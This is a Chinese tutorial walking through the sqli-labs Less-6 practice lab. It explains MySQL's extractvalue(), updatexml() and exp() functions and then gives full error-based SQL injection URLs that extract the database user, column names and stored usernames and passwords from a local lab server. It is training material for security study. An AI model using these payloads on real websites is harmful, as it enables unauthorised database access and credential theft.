sqli-labs Basic Challenges Less6
延续上一篇文章讲的报错注入,这里再介绍三种其他形式的报错注入。分别是extractvalue()报错注入、updatexml()报错注入以及exp()报错注入。在此之前我们需要对这几个函数有一个大致的了解。
1、extractvalue()函数
Mysql 5.1.5版本中添加了extractvalue()函数来对xml文档进行查询。
函数的语法如下:
extractvalue(XML_document, XPath_string);
第一个参数指定的是xml文档的名字(string格式),第二个参数则是一个Xpath格式的字符串。
函数的目的就是从目标XML文档中找到并返回包含所查询值的字符串。
这里我先建立一个包含xml文档的数据表
create table x(doc varchar(150) );
然后再插入数据
insert into x values('
<book>
<title>A guide to the SQL standard</title>
<author>
<initial>CJ</initial>
<surname>Date</surname>
</author>
</book>
');
再插入第二条
insert into x values('
<book>
<title>SQL:1999</title>
<author>
<initial>J</initial>
<surname>Melton</surname>
</author>
</book>
');
建立之后,来试试extractvalue()函数的具体功能
2、updatexml()函数
同extractvalue()函数一样,该函数也是从Mysql 5.1.5版本中被添加。主要是用来对xml文档中的内容进行替换。
函数语法如下:
updatexml (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为doc
第二个参数:XPath_string (Xpath格式的字符串) ,指定查找的对象。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
函数的主要作用:改变文档中符合条件的节点的值
这里用刚才建立的表x来做演示。
update x set doc=updatexml(doc,'/book/author/initial','ceshi');
更改完数据之后看看效果
可以看到确实是对内容进行替换更改了。
这两个函数介绍到这里大家也都明白了它们大概是做什么用的了。但是我们讲的是报错注入啊,它们跟报错注入有什么关系呐?
对于extractvalue()函数来说,第二个参数是xpath格式的字符串,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容了。
比如:
这里第二个参数查询出来结果必然是带~符号的,不符合xpath格式。所以报错并且返回了我们想要查询的内容。
而updatexml()函数报错跟这个原理是一样的,也是第二个参数不符合xpath格式就会报错,比如:
3、exp()函数
exp()函数就是计算以e为底的对数函数。但是当传递一个大于709的数时,函数就会引起一个溢出错误。
我们需要知道一点那就是函数执行成功后是会返回0的,而对0按位取反就是一个比709大得多的数
这样的话报错不就来了吗?只要将我们想要查询的函数放到exp()函数中并且成功执行返回0并取反,就可以得到一个大于709的数,最后就触发了exp()的溢出报错了。
至此加上之前的floor()和rand()函数结合的报错注入,我们一共学习到了四种报错注入的方法。接下来就在第六关中使用上述的三种方法进行报错注入吧。
Less 6 GET - Double Injection - Double Quotes - String
可以看到跟第五关的区别就是包含参数的是双引号了。
打开第六关,输入参数访问
输入一个双引号测试一下
发现报错如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" LIMIT 0,1' at line 1
主要错误信息就是"1"" LIMIT 0,1
看来确实如同题目写的那样是双引号包含参数的。接下来就是报错注入了
1、extractvalue()
先查看用户名
http://www.bj.com/sqli-labs/Less-6/index.php?id=1" and extractvalue('ceshi',concat('~',user(),'~')) --+--+
再查询字段名
http://www.bj.com/sqli-labs/Less-6/index.php?id=1" and extractvalue('ceshi',concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),'~')) --+
最后就是查询字段的内容了
http://www.bj.com/sqli-labs/Less-6/index.php?id=1" and extractvalue('ceshi',concat('~',(select group_concat(username,password) from security.users),'~')) --+
这个时候可以看到虽然可以返回字段内容,但是返回的内容是不全的。这是因为extractvalue()能查询字符串的最大长度为32。所以我们可以用limit来遍历查看内容。
2、updatexml()
这里只需要将上面的extractvalue函数名替换掉,再增加一个字符串格式的参数在后面就可以了,比如
http://www.bj.com/sqli-labs/Less-6/index.php?id=1" and updatexml('ceshi',concat('~',(select group_concat(username,password) from security.users),'~'),'ceshi') --+
这里可以看到的是updatexml()函数跟extractvalue()函数有一样的限制,那就是能查询的字符串最大限度为32位。
3、exp()
主要需要注意的是:在mysql>5.5.53的版本中,exp()报错不会返回结果。此处我本机mysql数据库版本是5.7.26,没有成功。换成了5.5.29才成功报错返回查询结果的。
接下来剩下其他的步骤,直接查询字段内容
http://www.bj.com/sqli-labs/Less-6/index.php?id=1" and exp(~(select * from (select group_concat(username,password) from security.users)x)) --+
注意此处的语句构造,我们通过子查询与按位取反,造成一个DOUBLE overflow error,并借由此注出数据。
其实报错注入不仅仅只有这四种,还有一些其他比如几何函数之类的,但是都只是适用于较低版本的mysql了,这里就不一一介绍了,以后有机会可能会单独写一篇有关报错注入的文章。